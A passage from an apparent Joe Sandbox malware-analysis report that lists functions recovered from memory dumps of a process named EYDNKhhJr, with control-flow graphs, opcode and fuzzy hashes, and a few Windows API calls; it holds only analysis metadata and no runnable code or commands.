                                                                                                                                                              • Opcode Fuzzy Hash: f3e01f00558d164d928463b6f7eccd4ca7dc9a0b894576067a7d74a0588e945c
                                                                                                                                                              • Instruction Fuzzy Hash: 54819174E01218CFDB58DFAAD894A9DBBF2BF89300F14C069E819AB365DB349941CF50
                                                                                                                                                              Function 030DC6A8 Relevance: .2, Instructions: 153COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3389943011.00000000030D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_30d0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: d39f4d9ed558d9b8fd55c1f5ff8f1538923e0710342758aa8ae7b6b6ae44d81c
                                                                                                                                                              • Instruction ID: 5f7f33c88457337fe212210b9a8b7f851162f18dfc1112b6cadd64a2ee7b652e
                                                                                                                                                              • Opcode Fuzzy Hash: d39f4d9ed558d9b8fd55c1f5ff8f1538923e0710342758aa8ae7b6b6ae44d81c
                                                                                                                                                              • Instruction Fuzzy Hash: 7261A174E013089FEB58DFAAD984A9DBBF2BF89300F149069D819AB365DB345845CF50
                                                                                                                                                              Function 030DEED0 Relevance: .2, Instructions: 151COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3389943011.00000000030D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_30d0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 0c54be4080f5672e06ce927c83fa29385a86e6373816df1855b98fbeafc7f178
                                                                                                                                                              • Instruction ID: ae0f2891623b40fb6b1343f605201c58cb2bbe90390eddbba2b5189f223d27ea
                                                                                                                                                              • Opcode Fuzzy Hash: 0c54be4080f5672e06ce927c83fa29385a86e6373816df1855b98fbeafc7f178
                                                                                                                                                              • Instruction Fuzzy Hash: 45518674E01208DFEB18DFAAD494A9DBBF2BF89300F24D129E815AB365DB315941CF54
                                                                                                                                                              Function 030DEEE0 Relevance: .1, Instructions: 149COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3389943011.00000000030D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_30d0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: a21d37e9dc2b580ef91a17e624563d4f6a9df89fbe441160d5027117700ff58c
                                                                                                                                                              • Instruction ID: 4c8b10ab27a27b3a6decf32cc446273e4fa60db6de8d7fa4049df0bf6751eb18
                                                                                                                                                              • Opcode Fuzzy Hash: a21d37e9dc2b580ef91a17e624563d4f6a9df89fbe441160d5027117700ff58c
                                                                                                                                                              • Instruction Fuzzy Hash: 3B517274E01308DFEB18DFAAD594A9DBBF2AF89300F249029E819AB365DB315941CF54
                                                                                                                                                              Function 07364708 Relevance: 1.7, APIs: 1, Instructions: 197COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1063 7364708-7364717 1064 7364743-7364747 1063->1064 1065 7364719-7364726 call 7363680 1063->1065 1067 736475b-736479c 1064->1067 1068 7364749-7364753 1064->1068 1071 736473c 1065->1071 1072 7364728 1065->1072 1074 736479e-73647a6 1067->1074 1075 73647a9-73647b7 1067->1075 1068->1067 1071->1064 1117 736472e call 7364992 1072->1117 1118 736472e call 73649a0 1072->1118 1074->1075 1076 73647db-73647dd 1075->1076 1077 73647b9-73647be 1075->1077 1082 73647e0-73647e7 1076->1082 1079 73647c0-73647c7 call 736368c 1077->1079 1080 73647c9 1077->1080 1078 7364734-7364736 1078->1071 1081 7364878-7364938 1078->1081 1084 73647cb-73647d9 1079->1084 1080->1084 1112 7364940-736496b GetModuleHandleW 1081->1112 1113 736493a-736493d 1081->1113 1085 73647f4-73647fb 1082->1085 1086 73647e9-73647f1 1082->1086 1084->1082 1087 73647fd-7364805 1085->1087 1088 7364808-7364811 1085->1088 1086->1085 1087->1088 1093 7364813-736481b 1088->1093 1094 736481e-7364823 1088->1094 1093->1094 1095 7364825-736482c 1094->1095 1096 7364841-7364845 1094->1096 1095->1096 1098 736482e-736483e call 73615dc call 736369c 1095->1098 1119 7364848 call 7364c60 1096->1119 1120 7364848 call 7364c50 1096->1120 1098->1096 1101 736484b-736484e 1103 7364850-736486e 1101->1103 1104 7364871-7364877 1101->1104 1103->1104 1114 7364974-7364988 1112->1114 1115 736496d-7364973 1112->1115 1113->1112 1115->1114 1117->1078 1118->1078 1119->1101 1120->1101
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3406103398.0000000007360000.00000040.00000800.00020000.00000000.sdmp, Offset: 07360000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_7360000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: HandleModule
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 4139908857-0
                                                                                                                                                              • Opcode ID: cf4ba950316773db103beafc35b79ef2b57b5c0cd182eb6f0e3c6d1277788b8e
                                                                                                                                                              • Instruction ID: 20090266c4116dbbc3a0aea9be3f73f5eede0f32541ba4620f87c3cf40446596
                                                                                                                                                              • Opcode Fuzzy Hash: cf4ba950316773db103beafc35b79ef2b57b5c0cd182eb6f0e3c6d1277788b8e
                                                                                                                                                              • Instruction Fuzzy Hash: 107135B0A00B458FE724DF29D15879ABBF1FF89300F008A2DD09ADBA44D735E949CB91
                                                                                                                                                              Function 07366CE4 Relevance: 1.6, APIs: 1, Instructions: 118COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1121 7366ce4-7366d56 1122 7366d61-7366d68 1121->1122 1123 7366d58-7366d5e 1121->1123 1124 7366d73-7366dab 1122->1124 1125 7366d6a-7366d70 1122->1125 1123->1122 1126 7366db3-7366e12 CreateWindowExW 1124->1126 1125->1124 1127 7366e14-7366e1a 1126->1127 1128 7366e1b-7366e53 1126->1128 1127->1128 1132 7366e55-7366e58 1128->1132 1133 7366e60 1128->1133 1132->1133 1134 7366e61 1133->1134 1134->1134
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07366E02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3406103398.0000000007360000.00000040.00000800.00020000.00000000.sdmp, Offset: 07360000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_7360000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: c74ccd5e2078ebc84c9022f036bfdfafd03fd596e600219a5b5dda56420c7ad2
                                                                                                                                                              • Instruction ID: f3e67b0aef7ca088b02137310d0745b2153a61bdbeb0f8e02969a51d2c88cff1
                                                                                                                                                              • Opcode Fuzzy Hash: c74ccd5e2078ebc84c9022f036bfdfafd03fd596e600219a5b5dda56420c7ad2
                                                                                                                                                              • Instruction Fuzzy Hash: 5751C1B5D00349EFDB14CFA9C984ADEBBF5BF88350F24812AE818AB214D7759845CF90
                                                                                                                                                              Function 07365ABC Relevance: 1.6, APIs: 1, Instructions: 116COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1135 7365abc-7366d56 1137 7366d61-7366d68 1135->1137 1138 7366d58-7366d5e 1135->1138 1139 7366d73-7366e12 CreateWindowExW 1137->1139 1140 7366d6a-7366d70 1137->1140 1138->1137 1142 7366e14-7366e1a 1139->1142 1143 7366e1b-7366e53 1139->1143 1140->1139 1142->1143 1147 7366e55-7366e58 1143->1147 1148 7366e60 1143->1148 1147->1148 1149 7366e61 1148->1149 1149->1149
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07366E02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3406103398.0000000007360000.00000040.00000800.00020000.00000000.sdmp, Offset: 07360000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_7360000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: 4bc893e1383cce9f8cecdffb0bde308c1fcbd24021c06d6af4b1b11306b136a2
                                                                                                                                                              • Instruction ID: 1af675e8328bfa60f4af637ccf138e74388890bfba8945f9fa16fe57b1e068fc
                                                                                                                                                              • Opcode Fuzzy Hash: 4bc893e1383cce9f8cecdffb0bde308c1fcbd24021c06d6af4b1b11306b136a2
                                                                                                                                                              • Instruction Fuzzy Hash: C551C0B5D00349DFEB14CF99C985ADEBBB5BF48350F24812AE818AB214D7759845CF90
                                                                                                                                                              Function 07365C0C Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1150 7365c0c-73692ec 1153 73692f2-73692f7 1150->1153 1154 736939c-73693bc call 7365ae4 1150->1154 1155 736934a-7369382 CallWindowProcW 1153->1155 1156 73692f9-7369330 1153->1156 1163 73693bf-73693cc 1154->1163 1158 7369384-736938a 1155->1158 1159 736938b-736939a 1155->1159 1165 7369332-7369338 1156->1165 1166 7369339-7369348 1156->1166 1158->1159 1159->1163 1165->1166 1166->1163
                                                                                                                                                              APIs
                                                                                                                                                              • CallWindowProcW.USER32(?,?,?,?,?), ref: 07369371
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3406103398.0000000007360000.00000040.00000800.00020000.00000000.sdmp, Offset: 07360000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_7360000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CallProcWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2714655100-0
                                                                                                                                                              • Opcode ID: 90b685158fa278eba78c0fcda7223807dfad0945ed9992a0e77de0d59fc2562f
                                                                                                                                                              • Instruction ID: 9f32a7defa58e9ccc91c27fe30940cb4b61bff98f900e5b1f1ce5267d5c3b33d
                                                                                                                                                              • Opcode Fuzzy Hash: 90b685158fa278eba78c0fcda7223807dfad0945ed9992a0e77de0d59fc2562f
                                                                                                                                                              • Instruction Fuzzy Hash: 964147B8900249DFEB14CF99C488BAABBF5FB88314F24C45DD519AB365D335A840CBA0
                                                                                                                                                              Function 05F6995F Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1168 5f6995f 1169 5f69a1e-5f69a2f 1168->1169 1170 5f69a36-5f69a3f 1169->1170 1171 5f69a31 1169->1171 1173 5f69816-5f6983b 1170->1173 1174 5f69a45-5f69a58 1170->1174 1171->1170 1175 5f69842-5f69879 1173->1175 1176 5f6983d 1173->1176 1177 5f69a5f-5f69a7a 1174->1177 1178 5f69a5a 1174->1178 1187 5f69880-5f698b2 1175->1187 1188 5f6987b 1175->1188 1176->1175 1179 5f69a81-5f69a95 1177->1179 1180 5f69a7c 1177->1180 1178->1177 1184 5f69a97 1179->1184 1185 5f69a9c-5f69ab2 LdrInitializeThunk 1179->1185 1180->1179 1184->1185 1186 5f69ab4-5f69bb1 1185->1186 1191 5f69bb3-5f69bb8 1186->1191 1192 5f69bb9-5f69bc3 1186->1192 1193 5f69916-5f69929 1187->1193 1194 5f698b4-5f698d9 1187->1194 1188->1187 1191->1192 1198 5f69930-5f69955 1193->1198 1199 5f6992b 1193->1199 1195 5f698e0-5f6990e 1194->1195 1196 5f698db 1194->1196 1195->1193 1196->1195 1202 5f69957-5f69958 1198->1202 1203 5f69964-5f6999c 1198->1203 1199->1198 1202->1174 1204 5f699a3-5f69a04 call 5f69358 1203->1204 1205 5f6999e 1203->1205 1211 5f69a06 1204->1211 1212 5f69a0b-5f69a1d 1204->1212 1205->1204 1211->1212 1212->1169
                                                                                                                                                              APIs
                                                                                                                                                              • LdrInitializeThunk.NTDLL(00000000), ref: 05F69AA1
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3402514066.0000000005F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F60000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_5f60000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: InitializeThunk
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2994545307-0
                                                                                                                                                              • Opcode ID: 330ef995b0477853c3ca631953bc57acb63d4ddf544c6fcc8028c494c41ae082
                                                                                                                                                              • Instruction ID: 5e2998f5248ef35eeeb17af7c6a7adb4bc0a14ceaf8e7dfec46b4f402b14b655
                                                                                                                                                              • Opcode Fuzzy Hash: 330ef995b0477853c3ca631953bc57acb63d4ddf544c6fcc8028c494c41ae082
                                                                                                                                                              • Instruction Fuzzy Hash: BB114C78E002198FDB14DBA8DA84EFDBBF5FF88315F148165E848E7246DB749941CB60
                                                                                                                                                              Function 07363680 Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1214 7363680-7364938 1216 7364940-736496b GetModuleHandleW 1214->1216 1217 736493a-736493d 1214->1217 1218 7364974-7364988 1216->1218 1219 736496d-7364973 1216->1219 1217->1216 1219->1218
                                                                                                                                                              APIs
                                                                                                                                                              • GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,07364724), ref: 0736495E
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3406103398.0000000007360000.00000040.00000800.00020000.00000000.sdmp, Offset: 07360000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_7360000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: HandleModule
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 4139908857-0
                                                                                                                                                              • Opcode ID: dfb70b1e77a7cb8ffc54b24160d0dcd6e4c61c921855dde3a00427112330e4f3
                                                                                                                                                              • Instruction ID: a7d179dd3c4045176425e83eb14a042d27c744cfc879830efc49c174429d8a0a
                                                                                                                                                              • Opcode Fuzzy Hash: dfb70b1e77a7cb8ffc54b24160d0dcd6e4c61c921855dde3a00427112330e4f3
                                                                                                                                                              • Instruction Fuzzy Hash: D61120B5C00789CBEB10CF9AD448A9EFBF4EB88610F10842AD418A7200D374AA04CFA1
                                                                                                                                                              Function 030D89A8 Relevance: .7, Instructions: 693COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1475 30d89a8-30d8e96 1551 30d8e9c-30d8eac 1475->1551 1552 30d93e8-30d941d 1475->1552 1551->1552 1553 30d8eb2-30d8ec2 1551->1553 1556 30d941f-30d9424 1552->1556 1557 30d9429-30d9447 1552->1557 1553->1552 1555 30d8ec8-30d8ed8 1553->1555 1555->1552 1558 30d8ede-30d8eee 1555->1558 1559 30d950e-30d9513 1556->1559 1570 30d94be-30d94ca 1557->1570 1571 30d9449-30d9453 1557->1571 1558->1552 1560 30d8ef4-30d8f04 1558->1560 1560->1552 1561 30d8f0a-30d8f1a 1560->1561 1561->1552 1563 30d8f20-30d8f30 1561->1563 1563->1552 1564 30d8f36-30d8f46 1563->1564 1564->1552 1566 30d8f4c-30d8f5c 1564->1566 1566->1552 1567 30d8f62-30d8f72 1566->1567 1567->1552 1569 30d8f78-30d93e7 1567->1569 1575 30d94cc-30d94d8 1570->1575 1576 30d94e1-30d94ed 1570->1576 1571->1570 1577 30d9455-30d9461 1571->1577 1575->1576 1584 30d94da-30d94df 1575->1584 1585 30d94ef-30d94fb 1576->1585 1586 30d9504-30d9506 1576->1586 1582 30d9486-30d9489 1577->1582 1583 30d9463-30d946e 1577->1583 1588 30d948b-30d9497 1582->1588 1589 30d94a0-30d94ac 1582->1589 1583->1582 1595 30d9470-30d947a 1583->1595 1584->1559 1585->1586 1597 30d94fd-30d9502 1585->1597 1663 30d9508 call 30d95af 1586->1663 1664 30d9508 call 30d95a0 1586->1664 1588->1589 1600 30d9499-30d949e 1588->1600 1592 30d94ae-30d94b5 1589->1592 1593 30d9514-30d952d 1589->1593 1592->1593 1598 30d94b7-30d94bc 1592->1598 1595->1582 1604 30d947c-30d9481 1595->1604 1597->1559 1598->1559 1600->1559 1604->1559 1663->1559 1664->1559
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3389943011.00000000030D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_30d0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5f8952e9c699e526251c132f2f9239c1b534983a8452fcb0117f905a2fbd6fb3
                                                                                                                                                              • Instruction ID: fa9a00689aa885f54b80c7e95510036a04be2be78c7f1dd37bd4033b142996d2
                                                                                                                                                              • Opcode Fuzzy Hash: 5f8952e9c699e526251c132f2f9239c1b534983a8452fcb0117f905a2fbd6fb3
                                                                                                                                                              • Instruction Fuzzy Hash: 20520F34A0121CCFFB64DBA4C860B9EBBB6EF89300F1081A9D10A6B795DB355D46DF61
                                                                                                                                                              Function 030DE55B Relevance: .7, Instructions: 652COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1665 30de55b-30de572 1666 30de579-30de57a 1665->1666 1667 30de574 1665->1667 1668 30de57c-30de57d call 30dee40 1666->1668 1667->1666 1669 30de583-30de5ec 1668->1669 1685 30de5f3 1669->1685 1989 30de5f4 call 30df959 1685->1989 1990 30de5f4 call 30df968 1685->1990 1686 30de5fa-30de624 1693 30de62b 1686->1693 1694 30de632 1693->1694 1695 30de639-30de640 1694->1695 1697 30de647-30de64e 1695->1697 1699 30de655-30de65c 1697->1699 1701 30de663-30de66a 1699->1701 1703 30de671 1701->1703 1704 30de678 1703->1704 1705 30de67f-30de686 1704->1705 1707 30de68d-30de694 1705->1707 1709 30de69b-30de6a9 1707->1709 1712 30de6b0 1709->1712 1713 30de6b7-30de6be 1712->1713 1715 30de6c5-30de6d3 1713->1715 1718 30de6da-30de6e1 1715->1718 1720 30de6e8 1718->1720 1721 30de6ef-30de6fd 1720->1721 1724 30de704-30de70b 1721->1724 1726 30de712-30de719 1724->1726 1728 30de720-30de727 1726->1728 1730 30de72e 1728->1730 1731 30de735 1730->1731 1732 30de73c-30de743 1731->1732 1734 30de74a-30de751 1732->1734 1736 30de758-30de75f 1734->1736 1738 30de766-30de76d 1736->1738 1740 30de774-30de77b 1738->1740 1742 30de782 1740->1742 1743 30de789 1742->1743 1744 30de790-30de79e 1743->1744 1747 30de7a5 1744->1747 1748 30de7ac-30de7b3 1747->1748 1750 30de7ba 1748->1750 1751 30de7c1 1750->1751 1752 30de7c8 1751->1752 1753 30de7cf 1752->1753 1754 30de7d6 1753->1754 1755 30de7dd 1754->1755 1756 30de7e4-30de7eb 1755->1756 1758 30de7f2 1756->1758 1759 30de7f9-30de807 1758->1759 1762 30de80e-30de815 1759->1762 1764 30de81c 1762->1764 1765 30de823 1764->1765 1766 30de82a 1765->1766 1767 30de831-30de83f 1766->1767 1770 30de846-30de84d 1767->1770 1772 30de854 1770->1772 1773 30de85b-30de862 1772->1773 1775 30de869 1773->1775 1776 30de870 1775->1776 1777 30de877-30de87e 1776->1777 1779 30de885-30de893 1777->1779 1782 30de89a 1779->1782 1783 30de8a1-30de8a8 1782->1783 1785 30de8af-30de8b6 1783->1785 1787 30de8bd 1785->1787 1788 30de8c4 1787->1788 1789 30de8cb-30de8d2 1788->1789 1791 30de8d9-30de8e0 1789->1791 1793 30de8e7-30de8ee 1791->1793 1795 30de8f5-30de8fc 1793->1795 1797 30de903 1795->1797 1798 30de90a 1797->1798 1799 30de911 1798->1799 1800 30de918-30de91f 1799->1800 1802 30de926-30de92d 1800->1802 1804 30de934-30de950 1802->1804 1809 30de957-30de965 1804->1809 1812 30de96c 1809->1812 1813 30de973-30dea4c 1812->1813 1845 30dea53-30dea5a 1813->1845 1847 30dea61-30dea76 1845->1847 1851 30dea7d 1847->1851 1852 30dea84 1851->1852 1853 30dea8b 1852->1853 1854 30dea92-30deb5d 1853->1854 1884 30deb64-30deb72 1854->1884 1887 30deb79-30deb80 1884->1887 1889 30deb87 1887->1889 1890 30deb8e-30dec1a 1889->1890 1911 30dec21 1890->1911 1912 30dec28-30dec6e 1911->1912 1923 30dec75-30dec7c 1912->1923 1925 30dec83 1923->1925 1926 30dec8a-30dec91 1925->1926 1928 30dec98-30ded7f 1926->1928 1962 30ded86 1928->1962 1963 30ded8d-30ded9b 1962->1963 1966 30deda2 1963->1966 1967 30deda9 1966->1967 1968 30dedb0-30dedc5 1967->1968 1972 30dedcc 1968->1972 1973 30dedd3-30dedfd 1972->1973 1980 30dee04-30dee19 1973->1980 1984 30dee20 1980->1984 1985 30dee27 1984->1985 1986 30dee2e 1985->1986 1987 30dee35-30dee38 1986->1987 1989->1686 1990->1686
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3389943011.00000000030D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_30d0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 2e3473cfb294653d5c6db12da11848d3a8c006e6f71505e043e15d947264b883
                                                                                                                                                              • Instruction ID: 84c5a4a2ec2149d008e0c4e0742d8d1ebeb9f9d15e29cf09e3caad7035822f3d
                                                                                                                                                              • Opcode Fuzzy Hash: 2e3473cfb294653d5c6db12da11848d3a8c006e6f71505e043e15d947264b883
                                                                                                                                                              • Instruction Fuzzy Hash: AA1298794722639F97803B75A6AE16EBEB0FF4F3A7701AD44F11EC04049F71058ACAA1
                                                                                                                                                              Function 030DE568 Relevance: .6, Instructions: 649COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1991 30de568-30de572 1992 30de579-30de5f3 call 30dee40 1991->1992 1993 30de574 1991->1993 2315 30de5f4 call 30df959 1992->2315 2316 30de5f4 call 30df968 1992->2316 1993->1992 2012 30de5fa-30dee2e 2313 30dee35-30dee38 2012->2313 2315->2012 2316->2012
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3389943011.00000000030D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_30d0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 8b2b6fe6ac93079502af8aad1b42e7374c06d7151f29e6f7a6e84127a5ccb402
                                                                                                                                                              • Instruction ID: d8535264f1748efbc3ff1e192feef81289dda1a321933713293a5018292e9724
                                                                                                                                                              • Opcode Fuzzy Hash: 8b2b6fe6ac93079502af8aad1b42e7374c06d7151f29e6f7a6e84127a5ccb402
                                                                                                                                                              • Instruction Fuzzy Hash: CC1288795712679F97843B75A2AE16EBEB0FF4F3A7701AD04F11EC08049F71058ACAA1
                                                                                                                                                              Function 030D1190 Relevance: .5, Instructions: 549COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 2317 30d1190-30d11c0 2318 30d11c7-30d11cd 2317->2318 2319 30d11c2 2317->2319 2322 30d11d7-30d11e3 call 30d0808 2318->2322 2319->2318 2324 30d11e8-30d125b call 30d0808 * 3 2322->2324 2336 30d1260 2324->2336 2337 30d126c-30d1554 call 30d0808 * 10 2336->2337 2399 30d155c-30d1583 call 30d2d03 2337->2399 2497 30d1586 call 30d41c8 2399->2497 2498 30d1586 call 30d41b7 2399->2498 2402 30d158c-30d1598 call 30d46a8 2403 30d159e-30d15c8 2402->2403 2406 30d15d1-30d15d4 call 30d586f 2403->2406 2407 30d15da-30d1604 2406->2407 2410 30d160d 2407->2410 2505 30d1610 call 30dc6a8 2410->2505 2506 30d1610 call 30dc494 2410->2506 2507 30d1610 call 30dc4e0 2410->2507 2411 30d1616-30d1640 2414 30d1649-30d164c call 30dc980 2411->2414 2415 30d1652-30d167c 2414->2415 2418 30d1685-30d1688 call 30dcc58 2415->2418 2419 30d168e-30d16b8 2418->2419 2422 30d16c1-30d16c4 call 30dcf30 2419->2422 2423 30d16ca-30d16fd 2422->2423 2426 30d1709-30d170f call 30dd20b 2423->2426 2427 30d1715-30d1751 2426->2427 2430 30d175d-30d1763 call 30dd4eb 2427->2430 2431 30d1769-30d17a5 2430->2431 2434 30d17b1-30d17b7 call 30dd7b8 2431->2434 2435 30d17bd-30d18d8 2434->2435 2448 30d18e4-30d18f6 call 30d586f 2435->2448 2449 30d18fc-30d1962 2448->2449 2454 30d196d-30d1979 call 30dda90 2449->2454 2455 30d197f-30d198b 2454->2455 2456 30d1996-30d19a2 call 30dda90 2455->2456 2457 30d19a8-30d19b4 2456->2457 2458 30d19bf-30d19cb call 30dda90 2457->2458 2459 30d19d1-30d19dd 2458->2459 2460 30d19e8-30d19f4 call 30dda90 2459->2460 2461 30d19fa-30d1a06 2460->2461 2462 30d1a11-30d1a1d call 30dda90 2461->2462 2463 30d1a23-30d1a2f 2462->2463 2464 30d1a3a-30d1a46 call 30dda90 2463->2464 2465 30d1a4c-30d1a58 2464->2465 2466 30d1a63-30d1a6f call 30dda90 2465->2466 2467 30d1a75-30d1a92 2466->2467 2469 30d1a9d-30d1aa9 call 30dda90 2467->2469 2470 30d1aaf-30d1abb 2469->2470 2471 30d1ac6-30d1ad2 call 30dda90 2470->2471 2472 30d1ad8-30d1ae4 2471->2472 2473 30d1aef-30d1afb call 30dda90 2472->2473 2474 30d1b01-30d1b0d 2473->2474 2475 30d1b18-30d1b24 call 30dda90 2474->2475 2476 30d1b2a-30d1b36 2475->2476 2477 30d1b41-30d1b4d call 30dda90 2476->2477 2478 30d1b53-30d1b5f 2477->2478 2479 30d1b6a-30d1b76 call 30dda90 2478->2479 2480 30d1b7c-30d1b88 2479->2480 2481 30d1b93-30d1b9f call 30dda90 2480->2481 2482 30d1ba5-30d1bb1 2481->2482 2483 30d1bbc-30d1bc8 call 30dda90 2482->2483 2484 30d1bce-30d1bda 2483->2484 2485 30d1be5-30d1bf1 call 30dda90 2484->2485 2486 30d1bf7-30d1cb0 2485->2486 2497->2402 2498->2402 2505->2411 2506->2411 2507->2411
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000F.00000002.3389943011.00000000030D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_15_2_30d0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 52801e96b37533ffa19cccc107997b2268a833a38d11cc0ad94abd296e0bc488
